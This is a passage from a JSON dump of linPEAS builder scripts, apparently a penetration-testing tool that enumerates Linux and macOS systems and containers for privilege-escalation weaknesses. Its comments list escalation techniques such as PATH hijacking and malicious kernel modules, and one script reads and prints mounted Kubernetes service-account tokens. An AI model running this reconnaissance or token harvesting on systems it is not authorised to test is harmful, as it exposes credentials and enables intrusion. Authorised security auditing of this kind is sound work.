/boot/config-$(uname -r) 2>/dev/null\nelif [ -f \"/proc/config.gz\" ]; then\n    zcat /proc/config.gz 2>/dev/null | grep -E 'CONFIG_RANDOMIZE_BASE|CONFIG_STACKPROTECTOR|CONFIG_SLAB_FREELIST_|CONFIG_KASAN'\nelse\n    echo_not_found \"kernel config\"\nfi\n\n#-- SY) Gatekeeper\nif [ \"$MACPEAS\" ]; then\n    print_list \"Gatekeeper enabled? .......... \"$NC\n    (spctl --status 2>/dev/null || echo_not_found \"sestatus\") | sed \"s,disabled,${SED_RED},\"\n\n    print_list \"sleepimage encrypted? ........ \"$NC\n    (sysctl vm.swapusage | grep \"encrypted\" | sed \"s,encrypted,${SED_GREEN},\") || echo_no\n\n    print_list \"XProtect? .................... \"$NC\n    (system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 \"XProtectPlistConfigData\" | tail -n 5 | grep -Iv \"^$\") || echo_no\n\n    print_list \"SIP enabled? ................. \"$NC\n    csrutil status | sed \"s,enabled,${SED_GREEN},\" | sed \"s,enabled,${SED_GREEN},\" | sed \"s,disabled,${SED_RED},\" || echo_no\n\n    print_list \"Sealed Snapshot? ............. \"$NC\n    diskutil apfs list | grep \"Snapshot Sealed\" | awk -F: '{print $2}' | tr -d '[:space:]' | sed \"s,Yes,${SED_GREEN},\" | sed \"s,No,${SED_RED},\" || echo_not_found\n\n    print_list \"Sealed Snapshot (2nd)? ....... \"$NC\n    csrutil authenticated-root status | sed \"s,enabled,${SED_GREEN},\" | sed \"s,disabled,${SED_RED},\" || echo_no\n\n\n    print_list \"Connected to JAMF? ........... \"$NC\n    warn_exec jamf checkJSSConnection\n\n    print_list \"Connected to AD? ............. \"$NC\n    dsconfigad -show && echo \"\" || echo_no\nfi\n\n#-- SY) ASLR\nprint_list \"Is ASLR enabled? ............... \"$NC\nASLR=$(cat /proc/sys/kernel/randomize_va_space 2>/dev/null)\nif [ -z \"$ASLR\" ]; then\n    echo_not_found \"/proc/sys/kernel/randomize_va_space\";\nelse\n    if [ \"$ASLR\" -eq \"0\" ]; then printf $RED\"No\"$NC; else printf $GREEN\"Yes\"$NC; fi\n    echo \"\"\nfi\n\n#-- SY) Printer\nprint_list \"Printer? ....................... \"$NC\n(lpstat -a || system_profiler SPPrintersDataType || echo_no) 2>/dev/null\n\n#-- SY) Running in a virtual environment\nprint_list \"Is this a virtual machine? ..... \"$NC\nhypervisorflag=$(grep flags /proc/cpuinfo 2>/dev/null | grep hypervisor)\nif [ \"$(command -v systemd-detect-virt 2>/dev/null || echo -n '')\" ]; then\n    detectedvirt=$(systemd-detect-virt)\n    if [ \"$hypervisorflag\" ]; then printf $RED\"Yes ($detectedvirt)\"$NC; else printf $GREEN\"No\"$NC; fi\nelse\n    if [ \"$hypervisorflag\" ]; then printf $RED\"Yes\"$NC; else printf $GREEN\"No\"$NC; fi\nfi\n\necho \"\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/1_system_information/17_Kernel_Modules.sh",
    "content": "# Title: System Information - Kernel Modules\n# ID: SY_Kernel_Modules\n# Author: Carlos Polop\n# Last Update: 07-03-2024\n# Description: Check for kernel module vulnerabilities and misconfigurations that could lead to privilege escalation:\n#   - Loaded kernel modules with known vulnerabilities\n#   - Kernel modules with weak permissions that could be modified\n#   - Ability to load kernel modules as unprivileged user\n#   - Missing kernel module signing requirements\n#   - Exploitation methods:\n#     * Vulnerable modules: Use known exploits for vulnerable kernel modules\n#     * Weak permissions: Modify kernel modules to inject malicious code\n#     * Module loading: Load malicious kernel modules to get root access\n#     * Common vulnerable modules: nf_tables, eBPF, overlayfs, etc.\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1547.006\n# Functions Used: print_2title, print_3title\n# Global Variables: \n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\necho \"\"\nprint_2title \"Kernel Modules Information\" \"T1547.006\"\n# List loaded kernel modules\nif [ \"$EXTRA_CHECKS\" ] || [ \"$DEBUG\" ]; then\n    print_3title \"Loaded kernel modules\" \"T1547.006\"\n    if [ -f \"/proc/modules\" ]; then\n        if command -v lsmod >/dev/null 2>&1; then\n            lsmod\n        else\n            cat /proc/modules\n        fi\n    else\n        echo_not_found \"/proc/modules\"\n    fi\nfi\n\n# Check for kernel modules with weak permissions\nprint_3title \"Kernel modules with weak perms?\" \"T1547.006\"\nif [ -d \"/lib/modules\" ]; then\n    find /lib/modules -type f -name \"*.ko\" -ls 2>/dev/null | grep -Ev \"root\\s+root\" | sed -${E} \"s,.*,${SED_RED},g\"\n    if [ $? -eq 1 ]; then\n        echo \"No kernel modules with weak permissions found\"\n    fi\nelse\n    echo_not_found \"/lib/modules\"\nfi\necho \"\"\n\n# Check for kernel modules that can be loaded by unprivileged users\nprint_3title \"Kernel modules loadable? \" \"T1547.006\"\nif [ -f \"/proc/sys/kernel/modules_disabled\" ]; then\n    if [ \"$(cat /proc/sys/kernel/modules_disabled)\" = \"0\" ]; then\n        echo \"Modules can be loaded\" | sed -${E} \"s,.*,${SED_RED},g\"\n    else\n        echo \"Modules cannot be loaded\" | sed -${E} \"s,.*,${SED_GREEN},g\"\n    fi\nelse\n    echo_not_found \"/proc/sys/kernel/modules_disabled\"\nfi\n\n# Check for module signature enforcement\nprint_3title \"Module signature enforcement? \" \"T1547.006\"\nif [ -f \"/proc/sys/kernel/module_sig_enforce\" ]; then\n    if [ \"$(cat /proc/sys/kernel/module_sig_enforce)\" = \"1\" ]; then\n        echo \"Enforced\" | sed -${E} \"s,.*,${SED_GREEN},g\"\n    else\n        echo \"Not enforced\" | sed -${E} \"s,.*,${SED_RED},g\"\n    fi\nelif [ -f \"/sys/module/module/parameters/sig_enforce\" ]; then\n    if [ \"$(cat /sys/module/module/parameters/sig_enforce)\" = \"Y\" ]; then\n        echo \"Enforced\" | sed -${E} \"s,.*,${SED_GREEN},g\"\n    else\n        echo \"Not enforced\" | sed -${E} \"s,.*,${SED_RED},g\"\n    fi\nelse\n    echo_not_found \"module_sig_enforce\"\nfi\n\n\necho \"\" \n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/1_system_information/19_Kernel_Exploit_Registry.sh",
    "content": "# Title: System Information - Kernel Exploit Registry\n# ID: SY_Kernel_Exploit_Registry\n# Author: Carlos Polop\n# Last Update: 25-02-2026\n# Description: Data-driven kernel exploit checks using embedded rules extracted from linux-exploit-suggester and linux-exploit-suggester-2.\n# Description: The module executes on all Unix-like systems and auto-detects OS applicability.\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1068\n# Functions Used: kercve_run_registry, print_2title\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\nprint_2title \"Kernel Exploit Registry\" \"T1068\"\nkercve_run_registry\necho \"\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/1_system_information/1_Operative_system.sh",
    "content": "# Title: System Information - Operative System\n# ID: SY_Operative_system\n# Author: Carlos Polop\n# Last Update: 07-03-2024\n# Description: Check for operating system information relevant to privilege escalation:\n#   - OS version and distribution\n#   - Kernel version\n#   - Architecture\n#   - Common vulnerable scenarios:\n#     * Outdated OS versions\n#     * Unpatched systems\n#     * Known vulnerable distributions\n#     * Architecture-specific vulnerabilities\n#   - Exploitation methods:\n#     * Version-specific exploits: Use known exploits for the OS version\n#     * Common attack vectors:\n#       - OS version exploits\n#       - Distribution-specific vulnerabilities\n#       - Architecture-specific exploits\n#       - Kernel version exploits\n#     * Exploit techniques:\n#       - Version-specific payloads\n#       - Distribution-specific attacks\n#       - Architecture-specific techniques\n#       - Kernel exploitation\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1082\n# Functions Used: print_2title, print_info, warn_exec\n# Global Variables: $MACPEAS, $kernelDCW_Ubuntu_Precise_1, $kernelB, $kernelDCW_Ubuntu_Precise_2, $kernelDCW_Ubuntu_Precise_3, $kernelDCW_Ubuntu_Precise_4, $kernelDCW_Ubuntu_Precise_5, $kernelDCW_Ubuntu_Precise_6, $kernelDCW_Rhel5_1, $kernelDCW_Rhel5_2, $kernelDCW_Rhel5_3, $kernelDCW_Rhel6_1, $kernelDCW_Rhel6_2, $kernelDCW_Rhel6_3, $kernelDCW_Rhel6_4, $kernelDCW_Rhel7, $kernelDCW_Ubuntu_Trusty_1, $kernelDCW_Ubuntu_Trusty_2, $kernelDCW_Ubuntu_Trusty_3, $kernelDCW_Ubuntu_Trusty_4, $kernelDCW_Ubuntu_Xenial\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\nprint_2title \"Operative system\" \"T1082\"\nprint_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#kernel-exploits\"\n(cat /proc/version || uname -a ) 2>/dev/null | sed -${E} \"s,$kernelDCW_Ubuntu_Precise_1,${SED_RED_YELLOW},\" | sed -${E} \"s,$kernelDCW_Ubuntu_Precise_2,${SED_RED_YELLOW},\" | sed -${E} \"s,$kernelDCW_Ubuntu_Precise_3,${SED_RED_YELLOW},\" | sed -${E} \"s,$kernelDCW_Ubuntu_Precise_4,${SED_RED_YELLOW},\" | sed -${E} \"s,$kernelDCW_Ubuntu_Precise_5,${SED_RED_YELLOW},\" | sed -${E} \"s,$kernelDCW_Ubuntu_Precise_6,${SED_RED_YELLOW},\" | sed -${E} \"s,$kernelDCW_Ubuntu_Trusty_1,${SED_RED_YELLOW},\" | sed -${E} \"s,$kernelDCW_Ubuntu_Trusty_2,${SED_RED_YELLOW},\" | sed -${E} \"s,$kernelDCW_Ubuntu_Trusty_3,${SED_RED_YELLOW},\" | sed -${E} \"s,$kernelDCW_Ubuntu_Trusty_4,${SED_RED_YELLOW},\" | sed -${E} \"s,$kernelDCW_Ubuntu_Xenial,${SED_RED_YELLOW},\" | sed -${E} \"s,$kernelDCW_Rhel5_1,${SED_RED_YELLOW},\" | sed -${E} \"s,$kernelDCW_Rhel5_2,${SED_RED_YELLOW},\" | sed -${E} \"s,$kernelDCW_Rhel5_3,${SED_RED_YELLOW},\" | sed -${E} \"s,$kernelDCW_Rhel6_1,${SED_RED_YELLOW},\" | sed -${E} \"s,$kernelDCW_Rhel6_2,${SED_RED_YELLOW},\" | sed -${E} \"s,$kernelDCW_Rhel6_3,${SED_RED_YELLOW},\" | sed -${E} \"s,$kernelDCW_Rhel6_4,${SED_RED_YELLOW},\" | sed -${E} \"s,$kernelDCW_Rhel7,${SED_RED_YELLOW},\" | sed -${E} \"s,$kernelB,${SED_RED},\"\nwarn_exec lsb_release -a 2>/dev/null\nif [ \"$MACPEAS\" ]; then\n    warn_exec system_profiler SPSoftwareDataType\nfi\necho \"\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/1_system_information/2_Sudo_version.sh",
    "content": "# Title: System Information - Sudo Version\n# ID: SY_Sudo_version\n# Author: Carlos Polop\n# Last Update: 07-03-2024\n# Description: Check for sudo vulnerabilities and misconfigurations that could lead to privilege escalation:\n#   - Vulnerable sudo versions with known exploits\n#   - Common vulnerable versions and CVEs:\n#     * CVE-2021-3156 (Baron Samedit): Heap overflow in sudo\n#     * CVE-2021-23239: Potential privilege escalation\n#     * CVE-2021-23240: Potential privilege escalation\n#     * CVE-2021-23241: Potential privilege escalation\n#   - Exploitation methods:\n#     * Version exploits: Use known exploits for vulnerable sudo versions\n#     * Common targets: sudo < 1.9.5p2 (Baron Samedit)\n#     * Exploit techniques:\n#       - Heap overflow exploitation\n#       - Race conditions\n#       - Memory corruption\n#       - Command injection\n# License: GNU GPL\n# Version: 1.0 \n# Mitre: T1548.003,T1068\n# Functions Used: echo_not_found, print_2title, print_info\n# Global Variables: $sudovB\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nprint_2title \"Sudo version\" \"T1548.003,T1068\"\nif [ \"$(command -v sudo 2>/dev/null || echo -n '')\" ]; then\nprint_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-version\"\nsudo -V 2>/dev/null | grep \"Sudo ver\" | sed -${E} \"s,$sudovB,${SED_RED},\"\nelse echo_not_found \"sudo\"\nfi\necho \"\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/1_system_information/3_USBCreator.sh",
    "content": "# Title: System Information - USBCreator\n# ID: SY_USBCreator\n# Author: Carlos Polop\n# Last Update: 07-03-2024\n# Description: Check for USBCreator vulnerabilities that could lead to privilege escalation:\n#   - Vulnerable policykit-desktop-privileges versions\n#   - Common vulnerable versions:\n#     * policykit-desktop-privileges < 0.21\n#   - Exploitation methods:\n#     * D-Bus command injection through USBCreator\n#     * Abuse of policykit privileges\n#     * Common attack vectors:\n#       - D-Bus method call injection\n#       - PolicyKit authentication bypass\n#       - Command execution through USB creation\n#     * Exploit techniques:\n#       - D-Bus method spoofing\n#       - PolicyKit privilege escalation\n#       - USB device creation abuse\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1548.003,T1068\n# Functions Used: print_2title, print_info\n# Global Variables: $DEBUG\n# Initial Functions:\n# Generated Global Variables: $pc_version, $pc_length, $pc_major, $pc_minor\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif (busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator) || [ \"$DEBUG\" ]; then\n    print_2title \"USBCreator\" \"T1548.003,T1068\"\n    print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.html\"\n\n    pc_version=$(dpkg -l 2>/dev/null | grep policykit-desktop-privileges | grep -oP \"[0-9][0-9a-zA-Z\\.]+\")\n    if [ -z \"$pc_version\" ]; then\n        pc_version=$(apt-cache policy policykit-desktop-privileges 2>/dev/null | grep -oP \"\\*\\*\\*.*\" | cut -d\" \" -f2)\n    fi\n    if [ -n \"$pc_version\" ]; then\n        pc_length=${#pc_version}\n        pc_major=$(echo \"$pc_version\" | cut -d. -f1)\n        pc_minor=$(echo \"$pc_version\" | cut -d. -f2)\n        if [ \"$pc_length\" -eq 4 ] && [ \"$pc_major\" -eq 0 ] && [ \"$pc_minor\"  -lt 21 ]; then\n            echo \"Vulnerable!!\" | sed -${E} \"s,.*,${SED_RED},\"\n        fi\n    fi\nfi\necho \"\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/1_system_information/4_Path.sh",
    "content": "# Title: System Information - Path\n# ID: SY_Path\n# Author: Carlos Polop\n# Last Update: 07-03-2024\n# Description: Check for PATH environment misconfigurations that could lead to privilege escalation:\n#   - Writable directories in PATH\n#   - Current directory (.) in PATH\n#   - Common vulnerable scenarios:\n#     * Writable system directories in PATH\n#     * Current directory in PATH\n#     * Relative paths in PATH\n#   - Exploitation methods:\n#     * PATH hijacking: Place malicious executables in writable PATH directories\n#     * Common attack vectors:\n#       - Replace common binaries (ls, cat, etc.)\n#       - Create malicious executables with common names\n#       - Abuse sudo PATH inheritance\n#     * Exploit techniques:\n#       - Binary replacement\n#       - Symbolic link attacks\n#       - PATH manipulation\n#       - Sudo PATH abuse\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1574.007\n# Functions Used: print_2title, print_info\n# Global Variables: $DEBUG, $IAMROOT, $OLDPATH, $PATH, $Wfolders\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nprint_2title \"PATH\" \"T1574.007\"\nprint_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-path-abuses\"\nif ! [ \"$IAMROOT\" ]; then\n    echo \"$OLDPATH\" 2>/dev/null | sed -${E} \"s,$Wfolders|\\./|\\.:|:\\.,${SED_RED_YELLOW},g\"\nfi\n\nif [ \"$DEBUG\" ]; then\n     echo \"New path exported: $PATH\"\nfi\necho \"\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/1_system_information/5_Date.sh",
    "content": "# Title: System Information - Date\n# ID: SY_Date\n# Author: Carlos Polop\n# Last Update: 07-03-2024\n# Description: Check for system date and uptime information relevant to privilege escalation:\n#   - System uptime\n#   - Last boot time\n#   - System time\n#   - Common vulnerable scenarios:\n#     * Long uptime (unpatched systems)\n#     * Time-based vulnerabilities\n#     * Scheduled tasks timing\n#     * Cron job timing\n#   - Exploitation methods:\n#     * Timing attacks: Abuse time-based vulnerabilities\n#     * Common attack vectors:\n#       - Race conditions\n#       - Time-of-check to time-of-use (TOCTOU)\n#       - Scheduled task abuse\n#       - Cron job timing\n#     * Exploit techniques:\n#       - Race condition exploitation\n#       - TOCTOU attacks\n#       - Scheduled task manipulation\n#       - Cron job abuse\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1082\n# Functions Used: print_2title, warn_exec\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nprint_2title \"Date & uptime\" \"T1082\"\nwarn_exec date 2>/dev/null\nwarn_exec uptime 2>/dev/null\necho \"\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/1_system_information/6_CPU_info.sh",
    "content": "# Title: System Information - CPU info\n# ID: SY_CPU_info\n# Author: Carlos Polop\n# Last Update: 07-03-2024\n# Description: Check for CPU information relevant to privilege escalation:\n#   - CPU architecture\n#   - CPU features\n#   - CPU vulnerabilities\n#   - Common vulnerable scenarios:\n#     * CPU-specific vulnerabilities (Spectre, Meltdown, etc.)\n#     * Missing CPU mitigations\n#     * Architecture-specific exploits\n#     * CPU feature abuse\n#   - Exploitation methods:\n#     * CPU-based attacks: Abuse CPU vulnerabilities\n#     * Common attack vectors:\n#       - Spectre/Meltdown exploitation\n#       - CPU feature abuse\n#       - Architecture-specific attacks\n#       - CPU timing attacks\n#     * Exploit techniques:\n#       - Side-channel attacks\n#       - CPU feature exploitation\n#       - Architecture-specific techniques\n#       - CPU timing exploitation\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1082\n# Functions Used: print_2title, warn_exec\n# Global Variables: $DEBUG, $EXTRA_CHECKS\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif [ \"$EXTRA_CHECKS\" ] || [ \"$DEBUG\" ]; then\n    print_2title \"CPU info\" \"T1082\"\n    warn_exec lscpu 2>/dev/null\n    echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/1_system_information/7_Mounts.sh",
    "content": "# Title: System Information - Mounts\n# ID: SY_Mounts\n# Author: Carlos Polop\n# Last Update: 07-03-2024\n# Description: Check for mount point misconfigurations that could lead to privilege escalation:\n#   - Unmounted filesystems\n#   - Mount point permissions\n#   - Mount options\n#   - Common vulnerable scenarios:\n#     * Writable mount points\n#     * Insecure mount options\n#     * Unmounted sensitive filesystems\n#     * Shared mount points\n#   - Exploitation methods:\n#     * Mount point abuse: Exploit mount misconfigurations\n#     * Common attack vectors:\n#       - Mount point modification\n#       - Filesystem remounting\n#       - Mount option abuse\n#       - Shared mount exploitation\n#     * Exploit techniques:\n#       - Mount point manipulation\n#       - Filesystem remounting\n#       - Mount option exploitation\n#       - Shared mount abuse\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1082,T1120\n# Functions Used: print_2title, print_info\n# Global Variables: $DEBUG, $mountG, $mountpermsB, $mountpermsG, $notmounted, $Wfolders, $mounted\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif [ -f \"/etc/fstab\" ] || [ \"$DEBUG\" ]; then\n    print_2title \"Unmounted file-system?\" \"T1082,T1120\"\n    print_info \"Check if you can mount umounted devices\"\n    grep -v \"^#\" /etc/fstab 2>/dev/null | grep -Ev \"\\W+\\#|^#\" | sed -${E} \"s,$mountG,${SED_GREEN},g\" | sed -${E} \"s,$notmounted,${SED_RED},g\" | sed -${E} \"s%$mounted%${SED_BLUE}%g\" | sed -${E} \"s,$Wfolders,${SED_RED},\" | sed -${E} \"s,$mountpermsB,${SED_RED},g\" | sed -${E} \"s,$mountpermsG,${SED_GREEN},g\"\n    echo \"\"\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/1_system_information/8_Disks.sh",
    "content": "# Title: System Information - Disks\n# ID: SY_Disks\n# Author: Carlos Polop\n# Last Update: 07-03-2024\n# Description: Check for disk information and misconfigurations that could lead to privilege escalation:\n#   - Available disks\n#   - Disk permissions\n#   - SMB shares\n#   - Common vulnerable scenarios:\n#     * Writable disks\n#     * Insecure SMB shares\n#     * Exposed disk devices\n#     * Shared storage\n#   - Exploitation methods:\n#     * Disk access abuse: Exploit disk misconfigurations\n#     * Common attack vectors:\n#       - Disk device modification\n#       - SMB share abuse\n#       - Storage device access\n#       - Shared disk exploitation\n#     * Exploit techniques:\n#       - Disk device manipulation\n#       - SMB share exploitation\n#       - Storage device abuse\n#       - Shared disk access\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1082\n# Functions Used: print_2title, warn_exec\n# Global Variables: $DEBUG\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif [ -d \"/dev\" ] || [ \"$DEBUG\" ] ; then\n    print_2title \"Any sd*/disk* disk in /dev? (limit 20)\" \"T1082\"\n    ls /dev 2>/dev/null | grep -Ei \"^sd|^disk\" | sed \"s,crypt,${SED_RED},\" | head -n 20\n    echo \"\"\nfi\n\n\nif [ \"$(command -v smbutil 2>/dev/null || echo -n '')\" ] || [ \"$DEBUG\" ]; then\n    print_2title \"Mounted SMB Shares\" \"T1082\"\n    warn_exec smbutil statshares -a\n    echo \"\"\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/1_system_information/9_Disks_extra.sh",
    "content": "# Title: System Information - Disks Extra\n# ID: SY_Disks_extra\n# Author: Carlos Polop\n# Last Update: 07-03-2024\n# Description: Check for additional disk information and system resources relevant to privilege escalation:\n#   - Disk utilization\n#   - Inode usage\n#   - System resources\n#   - Storage statistics\n#   - Common vulnerable scenarios:\n#     * Low disk space (potential for race conditions)\n#     * Resource exhaustion\n#     * Storage device misconfigurations\n#     * System resource abuse\n#   - Exploitation methods:\n#     * Resource-based attacks: Abuse system resources\n#     * Common attack vectors:\n#       - Disk space exhaustion\n#       - Resource starvation\n#       - Storage device abuse\n#       - System resource manipulation\n#     * Exploit techniques:\n#       - Resource exhaustion\n#       - Storage device exploitation\n#       - System resource abuse\n#       - Resource-based attacks\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1082\n# Functions Used: print_2title, warn_exec\n# Global Variables: $DEBUG, $EXTRA_CHECKS\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif ([ \"$(command -v diskutil 2>/dev/null || echo -n '')\" ] || [ \"$DEBUG\" ]) && [ \"$EXTRA_CHECKS\" ]; then\n    print_2title \"Mounted disks information\" \"T1082\"\n    warn_exec diskutil list\n    echo \"\"\nfi\n\nif [ \"$EXTRA_CHECKS\" ] || [ \"$DEBUG\" ]; then\n    print_2title \"System stats\" \"T1082\"\n    (df -h || lsblk) 2>/dev/null || echo_not_found \"df and lsblk\"\n    warn_exec free 2>/dev/null\n    echo \"\"\n\n    print_2title \"Inode usage\" \"T1082\"\n    warn_exec df -i 2>/dev/null\n    echo \"\"\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/2_container/1_Container_tools.sh",
    "content": "# Title: Container - Container Tools\n# ID: CT_Container_tools\n# Author: Carlos Polop\n# Last Update: 07-03-2024\n# Description: Find container related tools in the PATH of the system that could be used for container escape:\n#   - Container runtime tools\n#   - Container management tools\n#   - Container networking tools\n#   - Common vulnerable scenarios:\n#     * Misconfigured container tools\n#     * Privileged container tools\n#     * Container escape tools\n#   - Exploitation methods:\n#     * Tool abuse: Exploit container tool misconfigurations\n#     * Common attack vectors:\n#       - Runtime escape\n#       - Privilege escalation\n#       - Container breakout\n#     * Exploit techniques:\n#       - Tool misconfiguration abuse\n#       - Privileged tool exploitation\n#       - Container escape tool usage\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1613\n# Functions Used: print_2title\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\nprint_2title \"Container related tools present (if any):\" \"T1613\"\n# Container runtimes\ncommand -v docker\ncommand -v lxc\ncommand -v rkt\ncommand -v podman\ncommand -v runc\ncommand -v ctr\ncommand -v containerd\ncommand -v crio\ncommand -v nerdctl\n\n# Container management\ncommand -v kubectl\ncommand -v crictl\ncommand -v docker-compose\ncommand -v docker-machine\ncommand -v minikube\ncommand -v kind\n\n# Container networking\ncommand -v docker-proxy\ncommand -v cni\ncommand -v flanneld\ncommand -v calicoctl\n\n# Container security\ncommand -v apparmor_parser\ncommand -v seccomp\ncommand -v gvisor\ncommand -v kata-runtime\n\n# Container debugging\ncommand -v nsenter\ncommand -v unshare\ncommand -v chroot\ncommand -v capsh\ncommand -v setcap\ncommand -v getcap\n\necho \"\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/2_container/2_List_mounted_tokens.sh",
    "content": "# Title: Container - List mounted tokens\n# ID: CT_List_mounted_tokens\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: List tokens mounted in the system if any\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1528,T1552.007\n# Functions Used: print_2title, print_info\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $ALREADY_TOKENS, $TEMP_TOKEN\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif [ \"$(mount | sed -n '/secret/ s/^tmpfs on \\(.*default.*\\) type tmpfs.*$/\\1\\/namespace/p')\" ]; then\n  print_2title \"Listing mounted tokens\" \"T1528,T1552.007\"\n  print_info \"https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.html\"\n  ALREADY_TOKENS=\"IinItialVaaluE\"\n  for i in $(mount | sed -n '/secret/ s/^tmpfs on \\(.*default.*\\) type tmpfs.*$/\\1\\/namespace/p'); do\n      TEMP_TOKEN=$(cat $(echo $i | sed 's/.namespace$/\\/token/'))\n      if ! [ $(echo $TEMP_TOKEN | grep -E $ALREADY_TOKENS) ]; then\n          ALREADY_TOKENS=\"$ALREADY_TOKENS|$TEMP_TOKEN\"\n          echo \"Directory: $i\"\n          echo \"Namespace: $(cat $i)\"\n          echo \"\"\n          echo $TEMP_TOKEN\n          echo \"================================================================================\"\n          echo \"\"\n      fi\n  done\nfi\n\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/2_container/3_Container_details.sh",
    "content": "# Title: Container - Container details\n# ID: CT_Container_details\n# Author: Carlos Polop\n# Last Update: 07-03-2024\n# Description: Get detailed container information relevant to privilege escalation:\n#   - Container type and runtime\n#   - Running containers\n#   - Container configuration\n#   - Common vulnerable scenarios:\n#     * Misconfigured containers\n#     * Privileged containers\n#     * Exposed container APIs\n#     * Container networking\n#   - Exploitation methods:\n#     * Container breakout: Exploit container misconfigurations\n#     * Common attack vectors:\n#       - Runtime escape\n#       - Privilege escalation\n#       - Container breakout\n#       - Network escape\n#     * Exploit techniques:\n#       - Container misconfiguration abuse\n#       - Privileged container exploitation\n#       - Container API abuse\n#       - Network escape techniques\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1613,T1611\n# Functions Used: containerCheck, echo_no, print_2title, print_list, warn_exec\n# Global Variables: $containerType\n# Initial Functions: containerCheck\n# Generated Global Variables: $dockercontainers, $podmancontainers, $lxccontainers, $rktcontainers, $containerCounts\n# Fat linpeas: 0\n# Small linpeas: 1\n\nprint_2title \"Container details\" \"T1613,T1611\"\nprint_list \"Is this a container? ...........$NC $containerType\"\n\nif [ -e \"/proc/vz\" ] && ! [ -e \"/proc/bc\" ]; then\n    print_list \"Container Runtime ..............$NC OpenVZ\"\nfi\n\nif [ -f \"/run/systemd/container\" ]; then\n     print_list \"Systemd Container ..............$NC $(cat /run/systemd/container)\"\nfi\n\n# Get container runtime info\nif [ \"$(command -v docker || echo -n '')\" ]; then\n    print_list \"Docker version ...............$NC \"\n    warn_exec docker version\n    print_list \"Docker info .................$NC \"\n    warn_exec docker info\nfi\n\nif [ \"$(command -v podman || echo -n '')\" ]; then\n    print_list \"Podman version ..............$NC \"\n    warn_exec podman version\n    print_list \"Podman info ................$NC \"\n    warn_exec podman info\nfi\n\nif [ \"$(command -v lxc || echo -n '')\" ]; then\n    print_list \"LXC version ................$NC \"\n    warn_exec lxc version\n    print_list \"LXC info ...................$NC \"\n    warn_exec lxc info\nfi\n\nprint_list \"Any running containers? ........ \"$NC\n# Get counts of running containers for each platform\ndockercontainers=$(docker ps --format \"{{.Names}}\" 2>/dev/null | wc -l)\npodmancontainers=$(podman ps --format \"{{.Names}}\" 2>/dev/null | wc -l)\nlxccontainers=$(lxc list -c n --format csv 2>/dev/null | wc -l)\nrktcontainers=$(rkt list 2>/dev/null | tail -n +2  | wc -l)\nif [ \"$dockercontainers\" -eq \"0\" ] && [ \"$lxccontainers\" -eq \"0\" ] && [ \"$rktcontainers\" -eq \"0\" ] && [ \"$podmancontainers\" -eq \"0\" ]; then\n    echo_no\nelse\n    containerCounts=\"\"\n    if [ \"$dockercontainers\" -ne \"0\" ]; then containerCounts=\"${containerCounts}docker($dockercontainers) \"; fi\n    if [ \"$podmancontainers\" -ne \"0\" ]; then containerCounts=\"${containerCounts}podman($podmancontainers) \"; fi\n    if [ \"$lxccontainers\" -ne \"0\" ]; then containerCounts=\"${containerCounts}lxc($lxccontainers) \"; fi\n    if [ \"$rktcontainers\" -ne \"0\" ]; then containerCounts=\"${containerCounts}rkt($rktcontainers) \"; fi\n    echo \"Yes $containerCounts\" | sed -${E} \"s,.*,${SED_RED},\"\n    \n    # List any running containers with more details\n    if [ 